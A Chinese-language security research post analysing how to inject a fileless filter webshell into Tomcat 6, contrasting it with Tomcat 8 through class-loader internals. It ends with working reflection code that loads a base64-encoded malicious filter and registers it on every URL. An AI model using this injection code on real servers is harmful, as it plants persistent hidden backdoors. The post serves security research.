Java安全之Tomcat6 Filter内存马问题

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• 回顾Tomcat8打法
• 探索Tomcat6与Tomcat8之间的区别

回顾Tomcat8打法

先回顾下之前Tomcat789的打法

这里先抛开 7 8之间的区别， 在8中，最后add到filterchain的都是一个filterconfig对象

ApplicationFilterConfig包含了FilterDef对象

构造方法如下，如果当前filter属性为null会从FilterDef取filter的实例对象

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
        this.context = context;
        this.filterDef = filterDef;
        if (filterDef.getFilter() == null) {
            this.getFilter();
        } else {
            this.filter = filterDef.getFilter();
            this.getInstanceManager().newInstance(this.filter);
            this.initFilter();
        }

    }

FilterDef中存储了filterClass / filterName / filter 属性

public class FilterDef implements Serializable {
    private static final long serialVersionUID = 1L;
    private static final StringManager sm;
    private String description = null;
    private String displayName = null;
    private transient Filter filter = null;
    private String filterClass = null;
    private String filterName = null;
    private String largeIcon = null;
    private final Map<String, String> parameters = new HashMap();
    private String smallIcon = null;
    private String asyncSupported = null;

    public FilterDef() {
    }

再有就是createFilterChain中还涉及到filterMap

FilterMap里主要存放urlpatterner和filterName的映射

public class FilterMap extends XmlEncodingBase implements Serializable {
    private static final long serialVersionUID = 1L;
    public static final int ERROR = 1;
    public static final int FORWARD = 2;
    public static final int INCLUDE = 4;
    public static final int REQUEST = 8;
    public static final int ASYNC = 16;
    private static final int NOT_SET = 0;
    private int dispatcherMapping = 0;
    private String filterName = null;
    private String[] servletNames = new String[0];
    private boolean matchAllUrlPatterns = false;
    private boolean matchAllServletNames = false;
    private String[] urlPatterns = new String[0];

tomcat8下注入filter内存马流程如下：

• FilterDef: 设置 setFilter(Filter filter) setFilterName(String filterName) setFilterClass(String filterClass) 这里filterName和filterClass应该不是一个东西,最后调用StandardContext#addFilterDef将该恶意filterdef put到this.filterDefs
• FilterMap: addURLPattern("/*") setFilterName(String filterName) setDispatcher(DispatcherType.REQUEST.name())，最后调用StandardContext#addFilterMapBefore(filtermap) 添加到this.filterMaps中
• ApplicationFilterConfig: 调用有参构造将FilterDef作为参数传递进去后调有参构造实例化一个ApplicationFilterConfig，最终put进standardcontext的属性里去。

探索Tomcat6与Tomcat8之间的区别

主要看下tomcat6和tomcat8之间createFilterChain不相同的地方 看到ApplicationFilterFactory#createFilterChain

跟进getFilter

主要代码如下:

所以这里构造filterDef的时候filterClass为evilfilter的全类名即可

再来看下FilterDef 可以发现确实在Tomcat6下面没有filter这个属性了

所以一个很大的区别就是在getFilter方法，也就是获取filter实例对象的逻辑：

Tomcat8中是通过filterDef的属性filter值来拿到 恶意filter实例

Tomcat6中是通过filterDef的属性filterClass属性作为类名，通过ClassLoader去实例化

这里当我们调用有参构造实例化ApplicationFilterConfig时，会进入getFilter方法逻辑内

重点看loadClass方法是否可以加载到我们的恶意filter，因为这个filter并不是真实存在，且我们也只是通过了当前线程去defineClass的

跟进WebappClassLoader#loadClass

看到this.findLoadedClass0(name)从resourceEntries也就是classes下各个包中的.class找，是否有这个类，有的话直接return 这个entry的loadClass属性

这个属性存储的是该类的class对象,如果这里面有该类名，后面就直接resovleClass了

这里肯定是没有我们的恶意filter，继续往下跟

后面直接调用java.lang.ClassLoader#findLoadedClass来通过ClassLoader去找是否已经加载过该class了

而在这里是直接找到了

查阅开发资料并思考了一下：

这里因为我们之前是通过当前线程上下文加载器把恶意filter给loadClass了,所以这里就是可以找到的

后面随手翻了下classloader的属性,发现在classes属性是存在该filter的class的

那么正好来debug一下当前线程上下文ClassLoader#loadClass的过程

可以看到当前上下文的ClassLoader就是WebappClassLoader,并且此时classes属性里并没有我们的恶意类

而当步过defineClass后，当前线程上下文ClassLoader也就是WebappClassLoader的classes属性中就新增了我们的恶意filter的class

所以后续在getFilter的逻辑中也是可以成功通过

回溯上面的逻辑时，getFilter方法因为会走到这个else逻辑内，所以最终也是通过WebappClassLoader#loadClass的我们的恶意filter

以上，所以因为我们前面调用的是Thread.currentThread().getContextClassLoader()去加载的我们恶意filter类，而tomcat6中getFilter逻辑是通过this.context.getLoader().getClassLoader();去findClass，而这两个ClassLoader又同为WebappClassLoader所以不会存在ClassNotfound的问题。 所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中，直接使用Thread.currentThread().getContextClassLoader()去defineClass一下恶意filter即可。

注入内存马的主要代码如下：

Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = base64decode("base64 str");
var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);

try {

  if (STANDARDCONTET != null) {
    // 1 反射获取filterDef
    Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
    Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});
    Object filterDef = FilterDefconstructor.newInstance();

    // 2 设置filtername
    Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod.invoke(filterDef,filterName);

    // 3 setFilterClass
    Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);
    setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());

    // 4 addFilterDef
    Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);
    addFilterDef.invoke(STANDARDCONTET,filterDef);

    // 构造FilterMap
    Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
    Object filterMap =  FilterMapClass.newInstance();

    Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));
    Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);
    setDispatcherMethod.invoke(filterMap,"REQUEST");
    Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);
    addURLPatternMethod.invoke(filterMap,"/*");

    Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
    addFilterMapMethod.invoke(STANDARDCONTET,filterMap);

    // 创建filterconfig 并添加到standardcontext.filterconfigs数组里
    Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
    filterConfigCon.setAccessible(true);
    // 实例化ApplicationFilterConfig时触发getFilter方法
    Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);

    Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);
    filterConfigsMap.put(filterName, filterConfigObj);

  }

} catch (Throwable var16) {
  var16.printStackTrace();
}

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